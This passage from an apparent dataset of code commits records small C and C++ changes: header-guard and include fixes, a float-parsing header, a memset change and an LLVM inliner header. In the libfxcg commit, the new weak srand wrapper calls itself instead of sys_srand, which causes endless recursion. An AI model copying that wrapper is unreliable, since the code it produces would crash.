cpr\n\n#endif\n","subject":"Remove unused and untested Payload constructor","message":"Remove unused and untested Payload constructor\n","lang":"C","license":"mit","repos":"skystrife\/cpr,SuperV1234\/cpr,whoshuu\/cpr,msuvajac\/cpr,skystrife\/cpr,msuvajac\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,whoshuu\/cpr,skystrife\/cpr,msuvajac\/cpr,whoshuu\/cpr"}
{"commit":"e9cd0de60b2312738bd0e91fe7855b64f60dde73","old_file":"libfxcg\/misc\/random.c","new_file":"libfxcg\/misc\/random.c","old_contents":"static unsigned long next = 1;\n\/* RAND_MAX assumed to be 32767 *\/\nint sys_rand(void) {\n    next = next * 1103515245 + 12345;\n    return((unsigned)(next\/65536) % 32768);\n}\n\nvoid sys_srand(unsigned seed) {\n    next = seed;\n}\n","new_contents":"static unsigned long next = 1;\n\n\/* RAND_MAX assumed to be 32767 *\/\nint sys_rand(void) {\n    next = next * 1103515245 + 12345;\n    return((unsigned)(next\/65536) % 32768);\n}\n\nvoid sys_srand(unsigned seed) {\n    next = seed;\n}\n\n__attribute__((weak)) int rand(void) { return sys_rand(); }\n__attribute__((weak)) void srand(unsigned seed) { srand(seed); }\n","subject":"Add alias to sys_rand and sys_srand","message":"Add alias to sys_rand and sys_srand\n","lang":"C","license":"bsd-3-clause","repos":"Jonimoose\/libfxcg,Jonimoose\/libfxcg,Jonimoose\/libfxcg"}
{"commit":"fb8222b63dc2877b058db5483e6fa02ec6f53949","old_file":"CwlSignal\/CwlSignal.h","new_file":"CwlSignal\/CwlSignal.h","old_contents":"\/\/\n\/\/  CwlSignal.h\n\/\/  CwlSignal\n\/\/\n\/\/  Created by Matt Gallagher on 11\/6\/16.\n\/\/  Copyright © 2016 Matt Gallagher ( http:\/\/cocoawithlove.com ). All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n\/\/! Project version number for CwlSignal.\nFOUNDATION_EXPORT double CwlSignalVersionNumber;\n\n\/\/! Project version string for CwlSignal.\nFOUNDATION_EXPORT const unsigned char CwlSignalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CwlSignal\/PublicHeader.h>\n\n#import \"CwlFrameAddress.h\"\n","new_contents":"\/\/\n\/\/  CwlSignal.h\n\/\/  CwlSignal\n\/\/\n\/\/  Created by Matt Gallagher on 11\/6\/16.\n\/\/  Copyright © 2016 Matt Gallagher ( http:\/\/cocoawithlove.com ). All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for CwlSignal.\nFOUNDATION_EXPORT double CwlSignalVersionNumber;\n\n\/\/! Project version string for CwlSignal.\nFOUNDATION_EXPORT const unsigned char CwlSignalVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <CwlSignal\/PublicHeader.h>\n\n#import \"CwlFrameAddress.h\"\n","subject":"Remove needless include of Cocoa.","message":"Remove needless include of Cocoa.\n","lang":"C","license":"isc","repos":"mattgallagher\/CwlSignal,monyschuk\/CwlSignal,mattgallagher\/CwlSignal"}
{"commit":"fb3b9d76611d1e7ac1d7896aff469a52d36b6078","old_file":"src\/include\/utils\/dynahash.h","new_file":"src\/include\/utils\/dynahash.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * dynahash--\n *    POSTGRES dynahash.h file definitions\n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: dynahash.h,v 1.1 1996\/11\/09 05:48:28 momjian Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef\tDYNAHASH_H\n#define DYNAHASH_H\n\nextern int my_log2(long num);\n\n#endif DYNAHASH_H \/* DYNAHASH_H *\/\n\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * dynahash--\n *    POSTGRES dynahash.h file definitions\n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: dynahash.h,v 1.2 1996\/11\/14 20:06:39 scrappy Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef\tDYNAHASH_H\n#define DYNAHASH_H\n\nextern int my_log2(long num);\n\n#endif \/* DYNAHASH_H *\/\n\n","subject":"Fix a comment that wasn't commente'd out","message":"Fix a comment that wasn't commente'd out\n\nPointed out by: Erik Bertelsen <erik@sockdev.uni-c.dk>\n","lang":"C","license":"apache-2.0","repos":"adam8157\/gpdb,Chibin\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,zeroae\/postgres-xl,adam8157\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,oberstet\/postgres-xl,Quikling\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,arcivanov\/postgres-xl,royc1\/gpdb,atris\/gpdb,rubikloud\/gpdb,lisakowen\/gpdb,rvs\/gpdb,xuegang\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,ashwinstar\/gpdb,ovr\/postgres-xl,50wu\/gpdb,ahachete\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,techdragon\/Postgres-XL,ahachete\/gpdb,royc1\/gpdb,foyzur\/gpdb,tangp3\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,rvs\/gpdb,tangp3\/gpdb,lintzc\/gpdb,Quikling\/gpdb,atris\/gpdb,randomtask1155\/gpdb,yazun\/postgres-xl,oberstet\/postgres-xl,xinzweb\/gpdb,CraigHarris\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,postmind-net\/postgres-xl,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,yazun\/postgres-xl,foyzur\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,Postgres-XL\/Postgres-XL,tangp3\/gpdb,xuegang\/gpdb,ashwinstar\/gpdb,zeroae\/postgres-xl,randomtask1155\/gpdb,edespino\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,edespino\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,Postgres-XL\/Postgres-XL,lintzc\/gpdb,janebeckman\/gpdb,rvs\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,xinzweb\/gpdb,royc1\/gpdb,royc1\/gpdb,tpostgres-projects\/tPostgres,lisakowen\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,kaknikhil\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,atris\/gpdb,lintzc\/gpdb,kmjungersen\/PostgresXL,adam8157\/gpdb,ovr\/postgres-xl,tangp3\/gpdb,ashwinstar\/gpdb,xinzweb\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,ovr\/postgres-xl,pavanvd\/postgres-xl,0x0FFF\/gpdb,0x0FFF\/gpdb,rvs\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,0x0FFF\/gpdb,royc1\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,rvs\/gpdb,zaksoup\/gpdb,CraigHarris\/gpdb,arcivanov\/postgres-xl,xuegang\/gpdb,tpostgres-projects\/tPostgres,zeroae\/postgres-xl,lpetrov-pivotal\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,rvs\/gpdb,edespino\/gpdb,Quikling\/gpdb,lintzc\/gpdb,yazun\/postgres-xl,Quikling\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,adam8157\/gpdb,postmind-net\/postgres-xl,royc1\/gpdb,xinzweb\/gpdb,foyzur\/gpdb,kaknikhil\/gpdb,oberstet\/postgres-xl,jmcatamney\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,Chibin\/gpdb,Chibin\/gpdb,Chibin\/gpdb,foyzur\/gpdb,Chibin\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,rvs\/gpdb,rvs\/gpdb,atris\/gpdb,pavanvd\/postgres-xl,CraigHarris\/gpdb,ahachete\/gpdb,ahachete\/gpdb,xuegang\/gpdb,lintzc\/gpdb,snaga\/postgres-xl,Quikling\/gpdb,janebeckman\/gpdb,snaga\/postgres-xl,postmind-net\/postgres-xl,zaksoup\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,tangp3\/gpdb,greenplum-db\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,yazun\/postgres-xl,techdragon\/Postgres-XL,Quikling\/gpdb,cjcjameson\/gpdb,arcivanov\/postgres-xl,0x0FFF\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,zaksoup\/gpdb,postmind-net\/postgres-xl,Chibin\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,xuegang\/gpdb,zaksoup\/gpdb,edespino\/gpdb,50wu\/gpdb,rubikloud\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,lpetrov-pivotal\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,xuegang\/gpdb,atris\/gpdb,ahachete\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,lisakowen\/gpdb,greenplum-db\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,rubikloud\/gpdb,tpostgres-projects\/tPostgres,randomtask1155\/gpdb,ovr\/postgres-xl,jmcatamney\/gpdb,rvs\/gpdb,kmjungersen\/PostgresXL,50wu\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,ashwinstar\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,ovr\/postgres-xl,royc1\/gpdb,lintzc\/gpdb,xuegang\/gpdb,lisakowen\/gpdb,yazun\/postgres-xl,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,greenplum-db\/gpdb,tpostgres-projects\/tPostgres,xuegang\/gpdb,adam8157\/gpdb,edespino\/gpdb,Postgres-XL\/Postgres-XL,pavanvd\/postgres-xl,zaksoup\/gpdb,oberstet\/postgres-xl,foyzur\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,yuanzhao\/gpdb,foyzur\/gpdb,janebeckman\/gpdb,arcivanov\/postgres-xl,snaga\/postgres-xl,0x0FFF\/gpdb,kmjungersen\/PostgresXL,kmjungersen\/PostgresXL,50wu\/gpdb,zeroae\/postgres-xl,CraigHarris\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,adam8157\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,rubikloud\/gpdb,atris\/gpdb,pavanvd\/postgres-xl,atris\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,janebeckman\/gpdb,xinzweb\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,royc1\/gpdb,pavanvd\/postgres-xl,50wu\/gpdb"}
{"commit":"dcaf7dfa9b3cc3ff2e0e3915d69cd846c1456ca1","old_file":"include\/portable\/pparsefp.h","new_file":"include\/portable\/pparsefp.h","old_contents":"","new_contents":"#ifndef PPARSEFP_H\n#define PPARSEFP_H\n\n\/*\n * Parses a float or double number and returns the length parsed if\n * successful. The length argument is of limited value due to dependency\n * on `strtod` - buf[len] must be accessible and must not be part of\n * a valid number, including hex float numbers..\n *\n * Unlike strtod, whitespace is not parsed.\n *\n * May return:\n * - null on error,\n * - buffer start if first character does start a number,\n * - or end of parse on success.\n *\n * Grisu3 is not part of the portable lib per se, it must be in the\n * include path. Grisu3 provides much faster printing and parsing in the\n * typical case with fallback to sprintf for printing and strod for\n * parsing.\n *\n * Either define PORTABLE_USE_GRISU3, or include the grisu3 header first.\n *\/\n#include <math.h> \/* for HUGE_VAL *\/\n\n#if PORTABLE_USE_GRISU3\n#include \"grisu3\/grisu3_parse.h\"\n#endif\n\n#ifdef grisu3_parse_double_is_defined\nstatic inline const char *parse_double(const char *buf, int len, double *result)\n{\n    return grisu3_parse_double(buf, len, result);\n}\n#else\n#include <stdio.h>\nstatic inline const char *parse_double(const char *buf, int len, double *result)\n{\n    char *end;\n\n    (void)len;\n    *result = strtod(buf, &end);\n    return end;\n}\n#endif\n\nstatic inline const char *parse_float(const char *buf, int len, float *result)\n{\n    const char *end;\n    double v;\n\n    end = parse_double(buf, len, &v);\n    *result = (float)v;\n    return end;\n}\n\n#endif \/* PPARSEFP_H *\/\n","subject":"Add portable floating point parsing with optional grisu3 support","message":"Add portable floating point parsing with optional grisu3 support\n","lang":"C","license":"apache-2.0","repos":"skhoroshavin\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc,skhoroshavin\/flatcc,dvidelabs\/flatcc"}
{"commit":"fb096213f123f9f4b808e3d2ff57d0c984a27e63","old_file":"libc\/sysdeps\/linux\/arm\/aeabi_memclr.c","new_file":"libc\/sysdeps\/linux\/arm\/aeabi_memclr.c","old_contents":"\/* Copyright (C) 2005 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include <string.h>\n\nlibc_hidden_proto(bzero)\n\n\/* Clear memory.  Can't alias to bzero because it's not defined in the\n   same translation unit.  *\/\nvoid\n__aeabi_memclr (void *dest, size_t n)\n{\n  bzero (dest, n);\n}\n\n\/* Versions of the above which may assume memory alignment.  *\/\nstrong_alias (__aeabi_memclr, __aeabi_memclr4)\nstrong_alias (__aeabi_memclr, __aeabi_memclr8)\n","new_contents":"\/* Copyright (C) 2005 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; if not, write to the Free\n   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n   02111-1307 USA.  *\/\n\n#include <string.h>\n\nlibc_hidden_proto(memset)\n\n\/* Clear memory.  Can't alias to bzero because it's not defined in the\n   same translation unit.  *\/\nvoid\n__aeabi_memclr (void *dest, size_t n)\n{\n  memset (dest, 0, n);\n}\n\n\/* Versions of the above which may assume memory alignment.  *\/\nstrong_alias (__aeabi_memclr, __aeabi_memclr4)\nstrong_alias (__aeabi_memclr, __aeabi_memclr8)\n","subject":"Use memset instead of bzero","message":"Use memset instead of bzero\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"055d3f2df632ffe49a10bd83956755bb71dc1a61","old_file":"src\/lib\/ioloop-notify-none.c","new_file":"src\/lib\/ioloop-notify-none.c","old_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\nstruct io *io_loop_notify_add(struct ioloop *ioloop __attr_unused__,\n\t\t\t      const char *path __attr_unused__,\n\t\t\t      io_callback_t *callback __attr_unused__,\n\t\t\t      void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_init(struct ioloop *ioloop __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","new_contents":"\/* Copyright (C) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"ioloop-internal.h\"\n\n#ifdef IOLOOP_NOTIFY_NONE\n\n#undef io_add_notify\nstruct io *io_add_notify(const char *path __attr_unused__,\n\t\t\t io_callback_t *callback __attr_unused__,\n\t\t\t void *context __attr_unused__)\n{\n\treturn NULL;\n}\n\nvoid io_loop_notify_remove(struct ioloop *ioloop __attr_unused__,\n\t\t\t   struct io *io __attr_unused__)\n{\n}\n\nvoid io_loop_notify_handler_deinit(struct ioloop *ioloop __attr_unused__)\n{\n}\n\n#endif\n","subject":"Fix for building without notify","message":"Fix for building without notify\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot"}
{"commit":"50e9733e3c0f5324e09e6b411f97838f9f782a0f","old_file":"src\/fname.h","new_file":"src\/fname.h","old_contents":"#ifndef FHASH_H\n#define FHASH_H\n\n\/* Box the filename pointer in a struct, for added typechecking. *\/\ntypedef struct fname {\n    char *name;\n} fname;\n\nset *fname_new_set(int sz_factor);\nfname *fname_new(char *n, size_t len);\nfname *fname_add(set *wt, fname *f);\nvoid fname_free(void *w);\n\n#endif\n","new_contents":"#ifndef FNAME_H\n#define FNAME_H\n\n\/* Box the filename pointer in a struct, for added typechecking. *\/\ntypedef struct fname {\n    char *name;\n} fname;\n\nset *fname_new_set(int sz_factor);\nfname *fname_new(char *n, size_t len);\nfname *fname_add(set *wt, fname *f);\nvoid fname_free(void *w);\n\n#endif\n","subject":"Fix guards for renamed header files.","message":"Fix guards for renamed header files.\n","lang":"C","license":"isc","repos":"silentbicycle\/glean,kaostao\/glean,kaostao\/glean,kaostao\/glean,silentbicycle\/glean"}
{"commit":"9933e4bd7dc07943f62a9ae17dddb815c4901972","old_file":"include\/llvm\/Transforms\/IPO\/InlinerPass.h","new_file":"include\/llvm\/Transforms\/IPO\/InlinerPass.h","old_contents":"","new_contents":"\/\/===- InlinerPass.h - Code common to all inliners --------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines a simple policy-based bottom-up inliner.  This file\n\/\/ implements all of the boring mechanics of the bottom-up inlining, while the\n\/\/ subclass determines WHAT to inline, which is the much more interesting\n\/\/ component.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef INLINER_H\n#define INLINER_H\n\n#include \"llvm\/CallGraphSCCPass.h\"\n\nnamespace llvm {\n  class CallSite;\n\n\/\/\/ Inliner - This class contains all of the helper code which is used to\n\/\/\/ perform the inlining operations that does not depend on the policy.\n\/\/\/\nstruct Inliner : public CallGraphSCCPass {\n  Inliner(const void *ID);\n\n  \/\/\/ getAnalysisUsage - For this class, we declare that we require and preserve\n  \/\/\/ the call graph.  If the derived class implements this method, it should\n  \/\/\/ always explicitly call the implementation here.\n  virtual void getAnalysisUsage(AnalysisUsage &Info) const;\n\n  \/\/ Main run interface method, this implements the interface required by the\n  \/\/ Pass class.\n  virtual bool runOnSCC(const std::vector<CallGraphNode *> &SCC);\n\n  \/\/ doFinalization - Remove now-dead linkonce functions at the end of\n  \/\/ processing to avoid breaking the SCC traversal.\n  virtual bool doFinalization(CallGraph &CG);\n\n\n  \/\/\/ This method returns the value specified by the -inline-threshold value,\n  \/\/\/ specified on the command line.  This is typically not directly needed.\n  \/\/\/\n  unsigned getInlineThreshold() const { return InlineThreshold; }\n\n  \/\/\/ getInlineCost - This method must be implemented by the subclass to\n  \/\/\/ determine the cost of inlining the specified call site.  If the cost\n  \/\/\/ returned is greater than the current inline threshold, the call site is\n  \/\/\/ not inlined.\n  \/\/\/\n  virtual int getInlineCost(CallSite CS) = 0;\n\nprivate:\n  \/\/ InlineThreshold - Cache the value here for easy access.\n  unsigned InlineThreshold;\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Move inliner pass header file.","message":"Move inliner pass header file.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@37664 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"25706992c211500250adb796b4e39ab7710326e0","old_file":"include\/visionaray\/detail\/spd\/blackbody.h","new_file":"include\/visionaray\/detail\/spd\/blackbody.h","old_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_DETAIL_SPD_BLACKBODY_H\n#define VSNRAY_DETAIL_SPD_BLACKBODY_H 1\n\n#include <cmath>\n\n#include \"..\/macros.h\"\n\nnamespace visionaray\n{\n\n\/\/-------------------------------------------------------------------------------------------------\n\/\/ Spectral power distribution for blackbody radiator\n\/\/ See: http:\/\/www.spectralcalc.com\/blackbody\/units_of_wavelength.html\n\/\/ Color temperature in Kelvin, sample SPD with wavelength (nm)\n\/\/\n\nstruct blackbody\n{\n    blackbody(float T = 1500.0) : T(T) {}\n\n    VSNRAY_FUNC float operator()(float lambda \/* nm *\/) const\n    {\n        double const k = 1.3806488E-23;\n        double const h = 6.62606957E-34;\n        double const c = 2.99792458E8;\n\n        lambda *= 1E-3; \/\/ nm to microns\n\n        return ( ( 2.0 * 1E24 * h * c * c ) \/ pow(lambda, 5.0) )\n             * ( 1.0 \/ (exp((1E6 * h * c) \/ (lambda * k * T)) - 1.0) );\n    }\n\nprivate:\n\n    double T;\n\n};\n\n} \/\/ visionaray\n\n#endif \/\/ VSNRAY_DETAIL_SPD_BLACKBODY_H\n","new_contents":"\/\/ This file is distributed under the MIT license.\n\/\/ See the LICENSE file for details.\n\n#pragma once\n\n#ifndef VSNRAY_DETAIL_SPD_BLACKBODY_H\n#define VSNRAY_DETAIL_SPD_BLACKBODY_H 1\n\n#include <cmath>\n\n#include \"..\/macros.h\"\n\nnamespace visionaray\n{\n\n\/\/-------------------------------------------------------------------------------------------------\n\/\/ Spectral power distribution for blackbody radiator\n\/\/ See: http:\/\/www.spectralcalc.com\/blackbody\/units_of_wavelength.html\n\/\/ Color temperature in Kelvin, sample SPD with wavelength (nm)\n\/\/\n\nclass blackbody\n{\npublic:\n\n    blackbody(float T = 1500.0) : T(T) {}\n\n    VSNRAY_FUNC float operator()(float lambda \/* nm *\/) const\n    {\n        double const k = 1.3806488E-23;\n        double const h = 6.62606957E-34;\n        double const c = 2.99792458E8;\n\n        lambda *= 1E-3; \/\/ nm to microns\n\n        return ( ( 2.0 * 1E24 * h * c * c ) \/ pow(lambda, 5.0) )\n             * ( 1.0 \/ (exp((1E6 * h * c) \/ (lambda * k * T)) - 1.0) );\n    }\n\nprivate:\n\n    double T;\n\n};\n\n} \/\/ visionaray\n\n#endif \/\/ VSNRAY_DETAIL_SPD_BLACKBODY_H\n","subject":"Use class for non-trivial types","message":"Use class for non-trivial types\n","lang":"C","license":"mit","repos":"szellmann\/visionaray,szellmann\/visionaray"}
{"commit":"6def8cef8c661ed9b68974ccb4871645efdafa2b","old_file":"src\/DeviceInterfaces\/Networking.Sntp\/nf_networking_sntp.h","new_file":"src\/DeviceInterfaces\/Networking.Sntp\/nf_networking_sntp.h","old_contents":"\/\/\n\/\/ Copyright (c) 2018 The nanoFramework project contributors\n\/\/ Portions Copyright (c) Microsoft Corporation.  All rights reserved.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\n\n#ifndef _NF_NETWORKING_SNTP_H_\n#define _NF_NETWORKING_SNTP_H_\n\n#include <nanoCLR_Interop.h>\n#include <nanoCLR_Runtime.h>\n#include <nanoCLR_Checks.h>\n#include <nanoHAL_time.h>\n\nextern \"C\"\n{\n#include <apps\/sntp.h>\n}\n\nstruct Library_nf_networking_sntp_nanoFramework_Networking_Sntp\n{\n    NANOCLR_NATIVE_DECLARE(Start___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(Stop___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(UpdateNow___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(get_IsStarted___STATIC__BOOLEAN);\n    NANOCLR_NATIVE_DECLARE(get_Server1___STATIC__STRING);\n    NANOCLR_NATIVE_DECLARE(set_Server1___STATIC__VOID__STRING);\n    NANOCLR_NATIVE_DECLARE(get_Server2___STATIC__STRING);\n    NANOCLR_NATIVE_DECLARE(set_Server2___STATIC__VOID__STRING);\n\n    \/\/--\/\/\n\n};\n\nextern const CLR_RT_NativeAssemblyData g_CLR_AssemblyNative_nanoFramework_Networking_Sntp;\n\n#endif  \/\/_NF_NETWORKING_SNTP_H_\n","new_contents":"\/\/\n\/\/ Copyright (c) 2018 The nanoFramework project contributors\n\/\/ Portions Copyright (c) Microsoft Corporation.  All rights reserved.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\n\n#ifndef _NF_NETWORKING_SNTP_H_\n#define _NF_NETWORKING_SNTP_H_\n\n#include <nanoCLR_Interop.h>\n#include <nanoCLR_Runtime.h>\n#include <nanoCLR_Checks.h>\n#include <nanoHAL_time.h>\n\nextern \"C\"\n{\n#ifndef PLATFORM_ESP32\n#include <apps\/sntp.h>\n#else\n#include <apps\/sntp\/sntp.h>\n#endif\n}\n\nstruct Library_nf_networking_sntp_nanoFramework_Networking_Sntp\n{\n    NANOCLR_NATIVE_DECLARE(Start___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(Stop___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(UpdateNow___STATIC__VOID);\n    NANOCLR_NATIVE_DECLARE(get_IsStarted___STATIC__BOOLEAN);\n    NANOCLR_NATIVE_DECLARE(get_Server1___STATIC__STRING);\n    NANOCLR_NATIVE_DECLARE(set_Server1___STATIC__VOID__STRING);\n    NANOCLR_NATIVE_DECLARE(get_Server2___STATIC__STRING);\n    NANOCLR_NATIVE_DECLARE(set_Server2___STATIC__VOID__STRING);\n\n    \/\/--\/\/\n\n};\n\nextern const CLR_RT_NativeAssemblyData g_CLR_AssemblyNative_nanoFramework_Networking_Sntp;\n\n#endif  \/\/_NF_NETWORKING_SNTP_H_\n","subject":"Fix headers so SNTP builds on Esp32","message":"Fix headers so SNTP builds on Esp32","lang":"C","license":"mit","repos":"Eclo\/nf-interpreter,Eclo\/nf-interpreter,Eclo\/nf-interpreter,Eclo\/nf-interpreter,nanoframework\/nf-interpreter,nanoframework\/nf-interpreter,nanoframework\/nf-interpreter,nanoframework\/nf-interpreter"}
